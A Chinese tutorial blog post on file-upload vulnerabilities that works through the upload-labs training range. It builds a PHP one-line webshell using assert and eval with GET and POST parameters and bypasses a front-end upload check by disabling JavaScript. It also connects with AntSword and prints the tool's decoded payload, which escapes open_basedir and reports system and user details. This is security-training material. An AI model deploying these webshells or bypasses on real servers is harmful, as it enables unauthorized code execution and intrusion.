文件上传漏洞------一句话木马原理解析

目录

一、实验环境

二、实验过程

构造一句话木马

一句话木马的使用:

木马原理解析:

一、实验环境

小皮面板搭建:upload-labs靶场

二、实验过程

构造一句话木马

这是一个最简单的一句话木马,我们用GET传参接受了两个参数,其最终目的是构造出:assert($_GET['1']) -> assert(eval(phpinfo()))这样的语句。这里是因为assert只能执行函数,不能执行字符串形式的参数。我们也可以直接构造eval,但是很容易被杀,在我个人电脑上我们可以关闭保护软件,但是我们可以关闭网站服务器的杀毒软件吗?显然不能,所以这里我们使用了传参来构建一句话木马。

一句话木马的使用:

这里以第一关为例:

我们上传发现不允许php文件上传,根据弹窗很明显发现这是一个白名单限制,我们看看源码。这个网站的防御规则很清晰了,他是在前端防御,谷歌浏览器提供一个不加载JavaScript的功能。我们设置成不允许,刷新靶场再次上传木马文件发现上传成功了。接下来复制图片地址根据一句话木马的构造思路进行传参。发现木马执行了phpinfo(),这究竟是为什么呢?我们一起来看看它的原理吧!

木马原理解析:

思路:先利用中国蚁剑进行连接,在进行抓包看看究竟有什么东西。

复制代码
url:http://10.5.50.55/upload-labs/upload/web.php?0=assert&1=eval($_POST['muma'])
密码:muma

添加成功,点击左上角AntSword设置网站代理:127.0.0.1端口:8080

接下来就开始抓包了。抓到了,完了我将它进行转码看看究竟是什么吧

复制代码
@ini_set("display_errors", "0");
@set_time_limit(0);

$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.66b0688826";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};

function asenc($out)
{
    return $out;
};

function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "9a4f" . "2074";
    echo @asenc($output);
    echo "05c31" . "7aefb";
}

ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    $R = "{$D}    ";
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L)
            if (is_dir("{$L}:")) $R .= "{$L}:";
    } else {
        $R .= "/";
    }
    $R .= "    ";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R .= php_uname();
    $R .= "    {$s}";
    echo $R;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

解完码之后是这串代码,这段代码的功能包括:

  1. 禁用 PHP 错误显示(通过 ini_set("display_errors", "0")

  2. 设置脚本执行时间不限制(通过 set_time_limit(0)

  3. 尝试获取当前 PHP 配置中的 open_basedir 设置,并对其进行一系列操作:检查是否存在可写目录,并在其中创建一个名为 .66b0688826 的隐藏目录尝试移动到该目录,并修改 open_basedir 设置以访问上层目录移除创建的隐藏目录

  4. 定义了两个函数 asencasoutput,但它们在代码中并没有被直接调用

  5. 尝试获取服务器信息和当前用户信息,并输出到页面上

    muma=%40eval(%40base64_decode(%24_POST%5B'u91112c5bcc0a7'%5D))%3B

这串代码是在对上一个代码进行base64解码,完了我们还要执行assert(eval(muma)) 这就是一句话木马的总体原理。我们通过右边可以发现我们的盘符、系统等信息都被爆出来了。

相关推荐
学困昇9 小时前
彻底搞懂 Linux 基础 IO:文件描述符、重定向、dup2、缓冲区一次讲透!
linux·运维·服务器·开发语言·c++
xmlhcxr9 小时前
从 0 到 1 落地企业级 DevOps CI/CD 流水线:基于 GitLab+Jenkins+Harbor 的完整实践
运维·docker·gitlab·jenkins·harbor·devops
赋创小助手9 小时前
PCIe 8.0 要来了:1TB/s 带宽背后,AI 算力服务器正在进入“高速互联时代”
运维·服务器·人工智能
好赞科技9 小时前
深度对比2026年三款小程序商城精选推荐榜单,解决您的电商选择难题
大数据·运维·人工智能
贝锐9 小时前
贝锐向日葵:商用安卓设备大规模远程运维体系搭建指南
运维·远程控制
yyuuuzz9 小时前
国际云服务商运维常见问题梳理
运维·服务器·网络·github·aws
步步为营DotNet9 小时前
深挖.NET 11 中 Native AOT 在边缘计算设备性能与安全的突破应用
安全·.net·边缘计算
旺仔Sec10 小时前
国光sqlsec_upload-labs靶场渗透测试通关解析教程总结
web安全·网络安全
开开心心就好10 小时前
吾爱大佬原创的文件时间修改工具
安全·智能手机·pdf·电脑·智能音箱·智能手表·1024程序员节
Flynt10 小时前
Dirtyfrag漏洞:我花了一下午搞清楚这个Linux内核提权漏洞到底在搞什么
linux·运维·安全